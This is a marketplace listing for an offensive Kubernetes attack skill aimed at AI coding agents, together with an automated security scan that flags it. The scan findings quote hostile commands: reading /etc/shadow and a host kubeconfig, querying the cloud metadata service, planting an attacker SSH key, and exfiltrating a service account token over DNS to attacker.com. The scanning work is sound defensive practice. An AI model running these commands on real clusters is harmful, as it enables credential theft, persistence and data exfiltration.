SnailSploit/Claude-Red / Skills/container/offensive-k8s-attacks
offensive-k8s-attacks
FlaggedKubernetes cluster attack techniques covering the full attack lifecycle from initial foothold in a pod to cluster-wide compromise. Covers service account token theft and impersonation, RBAC misconfiguration exploitation including wildcard permissions and privilege escalation via role binding, direct etcd access for secret extraction, kubelet API abuse on port 10250 and read-only port 10255, pod escape via hostPID hostNetwork and hostPath volume mounts, Kubernetes secrets enumeration and decoding, admission controller bypass techniques, network policy bypass and lateral movement, cloud metadata service access from pods for credential theft on AWS EKS GCP GKE and Azure AKS, CRD and operator abuse for persistence, and node compromise via DaemonSet deployment. Tools include kubectl, kube-hunter, peirates, kubeaudit, kdigger, kubeletctl. Maps to MITRE ATT&CK T1609 Container Administration Command, T1610 Deploy Container, T1613 Container and Resource Discovery. Use this skill when assessing Kubernetes clusters, attacking from within a compromised pod, exploiting RBAC or kubelet misconfigurations, or performing cloud-native lateral movement.
Security report
FlaggedStatic analysis of one exact version. It reduces risk and shows evidence; it does not certify that a skill is safe.
- Commit
fd81441b613c7d4fab39256720a31c96859d138b- Content hash
9eebeab0074befdbb6392fee957791116c2dff4568f26b8f9909490ee491c81e- Scanned
- 2026-11-17
- Scanner version
- skillxone-scan-1.0.0
- Policy version
- 0.1-draft
- Decision
- 4 open critical or high findings.
- Verification expires
- Not applicable
Findings (2 critical, 2 high, 1 medium, 1 low)
The skill refers to system password files, a location that holds private data or credentials. The same file also sends data over the network, so severity was raised one level.
cat /proc/1/root/etc/shadowSuggested fix: Do not read credential stores or private files. If the task needs a credential, ask the user to provide it through the environment.
The skill refers to cloud provider credentials, a location that holds private data or credentials. The same file also sends data over the network, so severity was raised one level.
cat /host/root/.kube/configSuggested fix: Do not read credential stores or private files. If the task needs a credential, ask the user to provide it through the environment.
A script is downloaded and run in one step, so whatever the server returns at that moment is executed without review.
curl -s http://NODE_IP:10255/pods | python3 -m json.toolSuggested fix: Download the script, check it (and its checksum or signature), then run the saved copy. Prefer a package manager.
The cloud instance metadata service is contacted. On a cloud machine it hands out credentials.
curl -s http://169.254.169.254/latest/meta-data/ # AWSSuggested fix: Remove access to the metadata service.
The skill refers to SSH keys, a location that holds private data or credentials. Severity lowered from high because the surrounding text warns against it. The same file also sends data over the network, so severity was raised one level.
echo "ssh-rsa AAAA... attacker" >> /host/root/.ssh/authorized_keysSuggested fix: Do not read credential stores or private files. If the task needs a credential, ask the user to provide it through the environment.
A DNS lookup is built from command output, a known way to smuggle data out through DNS. Severity lowered from high because the surrounding text warns against it.
nslookup $(cat /var/run/secrets/kubernetes.io/serviceaccount/token | base64 | head -c 60).attacker.comSuggested fix: Remove it.
Checks run
- prompt-injection
- dangerous-commands
- credentials
- network
- file-access
- integrity
Checks skipped
- dependencies: No dependency manifest in the skill directory.
- gitleaks: gitleaks is not installed on this host.
Related skills
| Skill | Stars | Updated | Works with | Status | Install |
|---|---|---|---|---|---|
| rea-analysis-optimizationmorluto/reaOptimize REA providers and shared analysis workflows for agent context, latency, CPU, and memory while preserving correctness and Evidence. Use for analysis bottlenecks and cache or query design; CI/test-suite optimization belongs to rea-ci-tests-audit. | Stars: 467k | Updated | Claude CodeCodex | Verified | Install |
| rea-ci-tests-auditmorluto/reaAudit REA CI and test suites for correctness, fixture drift, false passes, and measured performance; use for suite or workflow investigations and efficiency changes, rather than ordinary feature testing or a single test failure. | Stars: 467k | Updated | Claude CodeCodex | Verified | Install |
| rea-tool-designmorluto/reaAudit, investigate, design, or change REA investigation tools, CLI/MCP contracts, provider capabilities, and Evidence semantics. | Stars: 467k | Updated | Claude CodeCodex | Verified | Install |
| ponytail-auditDietrichGebert/ponytailQuality audit of the whole repo: bugs, security, real load, missing tests, speed, and what to delete. Most important first. | Stars: 193k | Updated | Claude CodeCodex | Verified | Install |